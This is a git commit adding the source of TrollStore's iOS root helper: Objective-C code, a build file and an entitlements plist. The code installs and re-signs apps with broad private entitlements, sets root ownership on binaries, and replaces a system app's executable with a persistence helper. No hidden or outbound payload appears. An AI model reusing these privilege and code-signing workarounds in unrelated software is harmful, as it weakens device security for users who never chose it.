add project

This commit is contained in:
opa334 2022-09-02 17:19:48 +02:00
commit 057bd1a45f
166 changed files with 8422 additions and 0 deletions

6
.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
out/
.DS_Store
.theos/
packages/
xcuserdata
.vscode

51
Helper/CoreServices.h Normal file
View File

@ -0,0 +1,51 @@
@interface LSBundleProxy
@property (nonatomic,readonly) NSString * bundleIdentifier;
@property (nonatomic) NSURL* dataContainerURL;
-(NSString*)localizedName;
@end
@interface LSApplicationProxy : LSBundleProxy
+ (instancetype)applicationProxyForIdentifier:(NSString*)identifier;
@property NSURL* bundleURL;
@property NSString* bundleType;
@property NSString* canonicalExecutablePath;
@property (nonatomic,readonly) NSDictionary* groupContainerURLs;
@property (nonatomic,readonly) NSArray* plugInKitPlugins;
@property (getter=isInstalled,nonatomic,readonly) BOOL installed;
@property (getter=isPlaceholder,nonatomic,readonly) BOOL placeholder;
@property (getter=isRestricted,nonatomic,readonly) BOOL restricted;
@end
@interface LSApplicationWorkspace : NSObject
+ (instancetype)defaultWorkspace;
- (BOOL)registerApplicationDictionary:(NSDictionary*)dict;
- (BOOL)unregisterApplication:(id)arg1;
- (BOOL)_LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)arg1 internal:(BOOL)arg2 user:(BOOL)arg3;
- (BOOL)uninstallApplication:(NSString*)arg1 withOptions:(id)arg2;
- (void)enumerateApplicationsOfType:(NSUInteger)type block:(void (^)(LSApplicationProxy*))block;
@end
@interface LSPlugInKitProxy : LSBundleProxy
@property (nonatomic,readonly) NSString* pluginIdentifier;
@property (nonatomic,readonly) NSDictionary * pluginKitDictionary;
+ (instancetype)pluginKitProxyForIdentifier:(NSString*)arg1;
@end
@interface MCMContainer : NSObject
+ (id)containerWithIdentifier:(id)arg1 createIfNecessary:(BOOL)arg2 existed:(BOOL*)arg3 error:(id*)arg4;
@property (nonatomic,readonly) NSURL * url;
@end
@interface MCMDataContainer : MCMContainer
@end
@interface MCMAppDataContainer : MCMDataContainer
@end
@interface MCMAppContainer : MCMContainer
@end
@interface MCMPluginKitPluginDataContainer : MCMDataContainer
@end

15
Helper/Makefile Normal file
View File

@ -0,0 +1,15 @@
TARGET := iphone:clang:14.5:14.0
ARCHS = arm64
include $(THEOS)/makefiles/common.mk
TOOL_NAME = trollstorehelper
trollstorehelper_FILES = $(wildcard *.m)
trollstorehelper_CFLAGS = -fobjc-arc
trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist
trollstorehelper_INSTALL_PATH = /usr/local/bin
trollstorehelper_LIBRARIES = archive
trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices
include $(THEOS_MAKE_PATH)/tool.mk

7
Helper/Shared.h Normal file
View File

@ -0,0 +1,7 @@
#import "CoreServices.h"
NSArray* trollStoreInstalledAppBundlePaths();
NSArray* trollStoreInstalledAppContainerPaths();
NSString* trollStorePath();
NSString* trollStoreAppPath();
LSApplicationProxy* findPersistenceHelperApp(void);

91
Helper/Shared.m Normal file
View File

@ -0,0 +1,91 @@
@import Foundation;
#import "CoreServices.h"
#import <objc/runtime.h>
NSArray* trollStoreInstalledAppContainerPaths()
{
NSMutableArray* appContainerPaths = [NSMutableArray new];
NSString* appContainersPath = @"/var/containers/Bundle/Application";
NSError* error;
NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error];
if(error)
{
NSLog(@"error getting app bundles paths %@", error);
}
if(!containers) return nil;
for(NSString* container in containers)
{
NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container];
BOOL isDirectory = NO;
BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory];
if(exists && isDirectory)
{
NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"];
if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark])
{
NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp])
{
[appContainerPaths addObject:containerPath];
}
}
}
}
return appContainerPaths.copy;
}
NSArray* trollStoreInstalledAppBundlePaths()
{
NSMutableArray* appPaths = [NSMutableArray new];
for(NSString* containerPath in trollStoreInstalledAppContainerPaths())
{
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil];
if(!items) return nil;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
[appPaths addObject:[containerPath stringByAppendingPathComponent:item]];
}
}
}
return appPaths.copy;
}
NSString* trollStorePath()
{
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError];
if(!appContainer) return nil;
return appContainer.url.path;
}
NSString* trollStoreAppPath()
{
return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"];
}
LSApplicationProxy* findPersistenceHelperApp(void)
{
__block LSApplicationProxy* outProxy;
[[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy)
{
if(appProxy.installed && !appProxy.restricted)
{
if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"])
{
NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"];
if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil])
{
outProxy = appProxy;
}
}
}
}];
return outProxy;
}

9
Helper/control Normal file
View File

@ -0,0 +1,9 @@
Package: com.opa334.trollstoreroothelper
Name: trollstoreroothelper
Version: 1.0
Architecture: iphoneos-arm
Description: An awesome tool of some sort!!
Maintainer: opa334
Author: opa334
Section: System
Tag: role::hacker

33
Helper/entitlements.plist Normal file
View File

@ -0,0 +1,33 @@
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>platform-application</key>
<true/>
<key>com.apple.private.security.container-required</key>
<false/>
<key>com.apple.security.exception.files.absolute-path.read-write</key>
<array>
<string>/</string>
</array>
<key>com.apple.private.security.container-manager</key>
<true/>
<key>com.apple.private.coreservices.canmaplsdatabase</key>
<true/>
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
<true/>
<key>com.apple.private.security.storage.AppBundles</key>
<true/>
<key>com.apple.private.MobileContainerManager.allowed</key>
<true/>
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
<true/>
<key>com.apple.private.MobileInstallationHelperService.allowed</key>
<true/>
<key>com.apple.private.uninstall.deletion</key>
<true/>
<key>com.apple.backboardd.launchapplications</key>
<true/>
<key>com.apple.multitasking.termination</key>
<true/>
</dict>
</plist>

685
Helper/main.m Normal file
View File

@ -0,0 +1,685 @@
#import <stdio.h>
#import "unarchive.h"
@import Foundation;
#import "uicache.h"
#import <sys/stat.h>
#import <dlfcn.h>
#import <spawn.h>
#import <objc/runtime.h>
#import "CoreServices.h"
#import "Shared.h"
#import <SpringBoardServices/SpringBoardServices.h>
extern mach_msg_return_t SBReloadIconForIdentifier(mach_port_t machport, const char* identifier);
@interface SBSHomeScreenService : NSObject
- (void)reloadIcons;
@end
extern NSString* BKSActivateForEventOptionTypeBackgroundContentFetching;
extern NSString* BKSOpenApplicationOptionKeyActivateForEvent;
extern void BKSTerminateApplicationForReasonAndReportWithDescription(NSString *bundleID, int reasonID, bool report, NSString *description);
#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer")
typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePersistenceHelper, NSString* sourceRootHelper);
extern char*** _NSGetArgv();
NSString* safe_getExecutablePath()
{
char* executablePathC = **_NSGetArgv();
return [NSString stringWithUTF8String:executablePathC];
}
NSDictionary* infoDictionaryForAppPath(NSString* appPath)
{
NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"];
return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath];
}
NSString* appIdForAppPath(NSString* appPath)
{
return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"];
}
NSString* appPathForAppId(NSString* appId, NSError** error)
{
for(NSString* appPath in trollStoreInstalledAppBundlePaths())
{
if([appIdForAppPath(appPath) isEqualToString:appId])
{
return appPath;
}
}
return nil;
}
static NSString* getNSStringFromFile(int fd)
{
NSMutableString* ms = [NSMutableString new];
ssize_t num_read;
char c;
while((num_read = read(fd, &c, sizeof(c))))
{
[ms appendString:[NSString stringWithFormat:@"%c", c]];
}
return ms.copy;
}
static void printMultilineNSString(NSString* stringToPrint)
{
NSCharacterSet *separator = [NSCharacterSet newlineCharacterSet];
NSArray* lines = [stringToPrint componentsSeparatedByCharactersInSet:separator];
for(NSString* line in lines)
{
NSLog(@"%@", line);
}
}
void installLdid(NSString* ldidToCopyPath)
{
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidToCopyPath]) return;
NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
if([[NSFileManager defaultManager] fileExistsAtPath:ldidPath])
{
[[NSFileManager defaultManager] removeItemAtPath:ldidPath error:nil];
}
[[NSFileManager defaultManager] copyItemAtPath:ldidToCopyPath toPath:ldidPath error:nil];
chmod(ldidPath.UTF8String, 0755);
chown(ldidPath.UTF8String, 0, 0);
}
BOOL isLdidInstalled(void)
{
NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
return [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];
}
int runLdid(NSArray* args, NSString** output, NSString** errorOutput)
{
NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];
[argsM insertObject:ldidPath.lastPathComponent atIndex:0];
NSUInteger argCount = [argsM count];
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
for (NSUInteger i = 0; i < argCount; i++)
{
argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);
}
argsC[argCount] = NULL;
posix_spawn_file_actions_t action;
posix_spawn_file_actions_init(&action);
int outErr[2];
pipe(outErr);
posix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO);
posix_spawn_file_actions_addclose(&action, outErr[0]);
int out[2];
pipe(out);
posix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO);
posix_spawn_file_actions_addclose(&action, out[0]);
pid_t task_pid;
int status = -200;
int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, (char* const*)argsC, NULL);
for (NSUInteger i = 0; i < argCount; i++)
{
free(argsC[i]);
}
free(argsC);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
do
{
if (waitpid(task_pid, &status, 0) != -1) {
//printf("Child status %dn", WEXITSTATUS(status));
} else
{
perror("waitpid");
return -222;
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
close(outErr[1]);
close(out[1]);
NSString* ldidOutput = getNSStringFromFile(out[0]);
if(output)
{
*output = ldidOutput;
}
NSString* ldidErrorOutput = getNSStringFromFile(outErr[0]);
if(errorOutput)
{
*errorOutput = ldidErrorOutput;
}
return WEXITSTATUS(status);
}
NSString* dumpEntitlements(NSString* binaryPath)
{
NSString* output;
NSString* errorOutput;
int ldidRet = runLdid(@[@"-e", binaryPath], &output, &errorOutput);
NSLog(@"entitlements dump exited with status %d", ldidRet);
NSLog(@"- dump error output start -");
printMultilineNSString(errorOutput);
NSLog(@"- dump error output end -");
NSLog(@"- dumped entitlements output start -");
printMultilineNSString(output);
NSLog(@"- dumped entitlements output end -");
return output;
}
BOOL signApp(NSString* appPath, NSError** error)
{
if(!isLdidInstalled()) return NO;
NSDictionary* appInfoDict = [NSDictionary dictionaryWithContentsOfFile:[appPath stringByAppendingPathComponent:@"Info.plist"]];
if(!appInfoDict) return NO;
NSString* executable = appInfoDict[@"CFBundleExecutable"];
NSString* executablePath = [appPath stringByAppendingPathComponent:executable];
if(![[NSFileManager defaultManager] fileExistsAtPath:executablePath]) return NO;
NSString* certPath = [trollStoreAppPath() stringByAppendingPathComponent:@"cert.p12"];
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
NSString* errorOutput;
int ldidRet;
NSString* entitlements = dumpEntitlements(executablePath);
if(entitlements.length == 0)
{
NSLog(@"app main binary has no entitlements, signing app with fallback entitlements...");
// app has no entitlements, sign with fallback entitlements
NSString* entitlementPath = [trollStoreAppPath() stringByAppendingPathComponent:@"fallback.entitlements"];
NSString* entitlementArg = [@"-S" stringByAppendingString:entitlementPath];
ldidRet = runLdid(@[entitlementArg, certArg, appPath], nil, &errorOutput);
}
else
{
// app has entitlements, keep them
ldidRet = runLdid(@[@"-S", @"-M", certArg, appPath], nil, &errorOutput);
}
NSLog(@"ldid exited with status %d", ldidRet);
NSLog(@"- ldid error output start -");
printMultilineNSString(errorOutput);
NSLog(@"- ldid error output end -");
return ldidRet == 0;
}
BOOL installApp(NSString* appPath, BOOL sign, NSError** error)
{
NSString* appId = appIdForAppPath(appPath);
if(!appId) return NO;
if(sign)
{
// if it fails to sign, we don't care
signApp(appPath, error);
}
BOOL existed;
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError];
NSLog(@"[installApp] appContainer: %@, mcmError: %@", appContainer, mcmError);
if(!appContainer || mcmError)
{
if(error) *error = mcmError;
return NO;
}
// Make sure there isn't already an app store app installed with the same identifier
NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"];
if(existed && ![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
{
NSLog(@"[installApp] already installed and not a TrollStore app... bailing out");
return NO;
}
// Apply correct permissions
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:[NSURL fileURLWithPath:appPath] includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
NSString* filePath = fileURL.path;
chown(filePath.UTF8String, 33, 33);
if([filePath.lastPathComponent isEqualToString:@"Info.plist"])
{
NSDictionary* infoDictionary = [NSDictionary dictionaryWithContentsOfFile:filePath];
NSString* executable = infoDictionary[@"CFBundleExecutable"];
if(executable)
{
NSString* executablePath = [[filePath stringByDeletingLastPathComponent] stringByAppendingPathComponent:executable];
chmod(executablePath.UTF8String, 0755);
}
}
else if([filePath.pathExtension isEqualToString:@"dylib"])
{
chmod(filePath.UTF8String, 0755);
}
}
// chown 0 all root binaries
NSDictionary* mainInfoDictionary = [NSDictionary dictionaryWithContentsOfFile:[appPath stringByAppendingPathComponent:@"Info.plist"]];
if(!mainInfoDictionary) return NO;
NSObject* tsRootBinaries = mainInfoDictionary[@"TSRootBinaries"];
if([tsRootBinaries isKindOfClass:[NSArray class]])
{
NSArray* tsRootBinariesArr = (NSArray*)tsRootBinaries;
for(NSObject* rootBinary in tsRootBinariesArr)
{
if([rootBinary isKindOfClass:[NSString class]])
{
NSString* rootBinaryStr = (NSString*)rootBinary;
NSString* rootBinaryPath = [appPath stringByAppendingPathComponent:rootBinaryStr];
if([[NSFileManager defaultManager] fileExistsAtPath:rootBinaryPath])
{
chmod(rootBinaryPath.UTF8String, 0755);
chown(rootBinaryPath.UTF8String, 0, 0);
NSLog(@"[installApp] applying permissions for root binary %@", rootBinaryPath);
}
}
}
}
// Wipe old version if needed
if(existed)
{
NSLog(@"[installApp] found existing TrollStore app, cleaning directory");
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
// do not under any circumstance delete this file as it makes iOS loose the app registration
if([fileURL.lastPathComponent isEqualToString:@".com.apple.mobile_container_manager.metadata.plist"])
{
NSLog(@"[installApp] skip removal of %@", fileURL);
continue;
}
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
}
}
// Install app
NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent];
NSLog(@"[installApp] new app path: %@", newAppPath);
BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error];
if(suc)
{
// Mark app as TrollStore app
[[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil];
NSLog(@"[installApp] app installed, adding to icon cache now...");
registerPath((char*)newAppPath.UTF8String, 0);
return YES;
}
else
{
return suc;
}
}
BOOL uninstallApp(NSString* appId, NSError** error)
{
NSString* appPath = appPathForAppId(appId, error);
if(!appPath) return NO;
LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:appId];
NSLog(@"appProxy: %@", appProxy);
MCMContainer *appContainer = [objc_getClass("MCMAppDataContainer") containerWithIdentifier:appId createIfNecessary:NO existed:nil error:nil];
NSString *containerPath = [appContainer url].path;
if(containerPath)
{
NSLog(@"deleting %@", containerPath);
// delete app container path
[[NSFileManager defaultManager] removeItemAtPath:containerPath error:error];
}
// delete group container paths
for(NSURL* groupURL in [appProxy groupContainerURLs])
{
[[NSFileManager defaultManager] removeItemAtPath:groupURL.path error:error];
NSLog(@"deleting %@", groupURL.path);
}
// delete app plugin paths
for(LSPlugInKitProxy* pluginProxy in appProxy.plugInKitPlugins)
{
NSURL* pluginURL = pluginProxy.dataContainerURL;
if(pluginURL)
{
[[NSFileManager defaultManager] removeItemAtPath:pluginURL.path error:error];
NSLog(@"deleting %@", pluginURL.path);
}
}
// unregister app
registerPath((char*)appPath.UTF8String, 1);
NSLog(@"deleting %@", [appPath stringByDeletingLastPathComponent]);
// delete app
return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error];
}
BOOL installIpa(NSString* ipaPath, NSError** error)
{
BOOL suc = NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error];
if(!suc) return NO;
extract(ipaPath, tmpPath);
NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error];
if(!items) return NO;
NSString* tmpAppPath;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item];
break;
}
}
if(!tmpAppPath) return NO;
suc = installApp(tmpAppPath, YES, error);
[[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil];
return suc;
}
void uninstallAllApps(void)
{
for(NSString* appPath in trollStoreInstalledAppBundlePaths())
{
uninstallApp(appIdForAppPath(appPath), nil);
}
}
BOOL uninstallTrollStore(BOOL unregister)
{
NSString* trollStore = trollStorePath();
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO;
if(unregister)
{
registerPath((char*)trollStoreAppPath().UTF8String, 1);
}
return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil];
}
BOOL installTrollStore(NSString* pathToTar)
{
//_CFPreferencesCopyValueWithContainerType _CFPreferencesCopyValueWithContainer = (_CFPreferencesCopyValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesCopyValueWithContainer");
_CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer");
_CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer");
/*CFPropertyListRef SBShowNonDefaultSystemAppsValue = _CFPreferencesCopyValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
if(SBShowNonDefaultSystemAppsValue != kCFBooleanTrue)
{*/
_CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
_CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
//NSLog(@"unrestricted springboard apps");
/*}*/
if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO;
if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil];
if(!suc) return NO;
extract(pathToTar, tmpPath);
NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO;
// Save existing ldid installation if it exists
NSString* existingLdidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidPath])
{
NSString* tmpLdidPath = [tmpTrollStore stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidPath])
{
[[NSFileManager defaultManager] copyItemAtPath:existingLdidPath toPath:tmpLdidPath error:nil];
}
}
// Update persistence helper if installed
LSApplicationProxy* persistenceHelperApp = findPersistenceHelperApp();
if(persistenceHelperApp)
{
NSString* trollStorePersistenceHelper = [tmpTrollStore stringByAppendingPathComponent:@"PersistenceHelper"];
NSString* trollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"];
_installPersistenceHelper(persistenceHelperApp, trollStorePersistenceHelper, trollStoreRootHelper);
}
return installApp(tmpTrollStore, NO, nil);;
}
void refreshAppRegistrations()
{
//registerPath((char*)trollStoreAppPath().UTF8String, 1);
registerPath((char*)trollStoreAppPath().UTF8String, 0);
for(NSString* appPath in trollStoreInstalledAppBundlePaths())
{
//registerPath((char*)appPath.UTF8String, 1);
registerPath((char*)appPath.UTF8String, 0);
}
}
BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePersistenceHelper, NSString* sourceRootHelper)
{
NSLog(@"_installPersistenceHelper(%@, %@, %@)", appProxy, sourcePersistenceHelper, sourceRootHelper);
NSString* executablePath = appProxy.canonicalExecutablePath;
NSString* bundlePath = appProxy.bundleURL.path;
if(!executablePath)
{
NSBundle* appBundle = [NSBundle bundleWithPath:bundlePath];
executablePath = [bundlePath stringByAppendingPathComponent:[appBundle objectForInfoDictionaryKey:@"CFBundleExecutable"]];
}
NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"];
NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"];
// remove existing persistence helper binary if exists
if([[NSFileManager defaultManager] fileExistsAtPath:markPath] && [[NSFileManager defaultManager] fileExistsAtPath:executablePath])
{
[[NSFileManager defaultManager] removeItemAtPath:executablePath error:nil];
}
// remove existing root helper binary if exists
if([[NSFileManager defaultManager] fileExistsAtPath:helperPath])
{
[[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil];
}
// install new persistence helper binary
if(![[NSFileManager defaultManager] copyItemAtPath:sourcePersistenceHelper toPath:executablePath error:nil])
{
return NO;
}
chmod(executablePath.UTF8String, 0755);
chown(executablePath.UTF8String, 33, 33);
NSError* error;
if(![[NSFileManager defaultManager] copyItemAtPath:sourceRootHelper toPath:helperPath error:&error])
{
NSLog(@"error copying root helper: %@", error);
}
chmod(helperPath.UTF8String, 0755);
chown(helperPath.UTF8String, 0, 0);
// mark system app as persistence helper
if(![[NSFileManager defaultManager] fileExistsAtPath:markPath])
{
[[NSFileManager defaultManager] createFileAtPath:markPath contents:[NSData data] attributes:nil];
}
return YES;
}
void installPersistenceHelper(NSString* systemAppId)
{
if(findPersistenceHelperApp()) return;
NSString* persistenceHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"PersistenceHelper"];
NSString* rootHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"trollstorehelper"];
LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:systemAppId];
if(!appProxy || ![appProxy.bundleType isEqualToString:@"System"]) return;
NSString* executablePath = appProxy.canonicalExecutablePath;
NSString* bundlePath = appProxy.bundleURL.path;
NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]];
if([[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return;
if(![[NSFileManager defaultManager] moveItemAtPath:executablePath toPath:backupPath error:nil]) return;
if(!_installPersistenceHelper(appProxy, persistenceHelperBinary, rootHelperBinary))
{
[[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil];
return;
}
BKSTerminateApplicationForReasonAndReportWithDescription(systemAppId, 5, false, @"TrollStore - Reload persistence helper");
}
void uninstallPersistenceHelper(void)
{
LSApplicationProxy* appProxy = findPersistenceHelperApp();
if(appProxy)
{
NSString* executablePath = appProxy.canonicalExecutablePath;
NSString* bundlePath = appProxy.bundleURL.path;
NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]];
if(![[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return;
NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"];
NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"];
[[NSFileManager defaultManager] removeItemAtPath:executablePath error:nil];
[[NSFileManager defaultManager] removeItemAtPath:markPath error:nil];
[[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil];
[[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil];
BKSTerminateApplicationForReasonAndReportWithDescription(appProxy.bundleIdentifier, 5, false, @"TrollStore - Reload persistence helper");
}
}
int main(int argc, char *argv[], char *envp[]) {
@autoreleasepool {
if(argc <= 1) return -1;
NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid());
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
[mcmBundle load];
BOOL suc = NO;
NSError* error;
NSString* cmd = [NSString stringWithUTF8String:argv[1]];
if([cmd isEqualToString:@"install"])
{
if(argc <= 2) return -2;
NSString* ipaPath = [NSString stringWithUTF8String:argv[2]];
suc = installIpa(ipaPath, &error);
} else if([cmd isEqualToString:@"uninstall"])
{
if(argc <= 2) return -2;
NSString* appId = [NSString stringWithUTF8String:argv[2]];
suc = uninstallApp(appId, &error);
} else if([cmd isEqualToString:@"install-trollstore"])
{
if(argc <= 2) return -2;
NSString* tsTar = [NSString stringWithUTF8String:argv[2]];
suc = installTrollStore(tsTar);
NSLog(@"installed troll store? %d", suc);
} else if([cmd isEqualToString:@"uninstall-trollstore"])
{
uninstallAllApps();
uninstallTrollStore(YES);
} else if([cmd isEqualToString:@"install-ldid"])
{
if(argc <= 2) return -2;
NSString* ldidPath = [NSString stringWithUTF8String:argv[2]];
installLdid(ldidPath);
} else if([cmd isEqualToString:@"refresh"])
{
refreshAppRegistrations();
} else if([cmd isEqualToString:@"refresh-all"])
{
[[LSApplicationWorkspace defaultWorkspace] _LSPrivateRebuildApplicationDatabasesForSystemApps:YES internal:YES user:YES];
refreshAppRegistrations();
} else if([cmd isEqualToString:@"install-persistence-helper"])
{
if(argc <= 2) return -2;
NSString* systemAppId = [NSString stringWithUTF8String:argv[2]];
installPersistenceHelper(systemAppId);
} else if([cmd isEqualToString:@"uninstall-persistence-helper"])
{
uninstallPersistenceHelper();
}
if(error)
{
NSLog(@"error: %@", error);
}
return !suc;
}
}

351
Helper/main.m-system Normal file
View File

@ -0,0 +1,351 @@
#import <stdio.h>
#import "unarchive.h"
@import Foundation;
#import "uicache.h"
#import <sys/stat.h>
#import <dlfcn.h>
#import <spawn.h>
#import "path.h"
#import "CoreServices.h"
#import <objc/runtime.h>
#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer")
typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
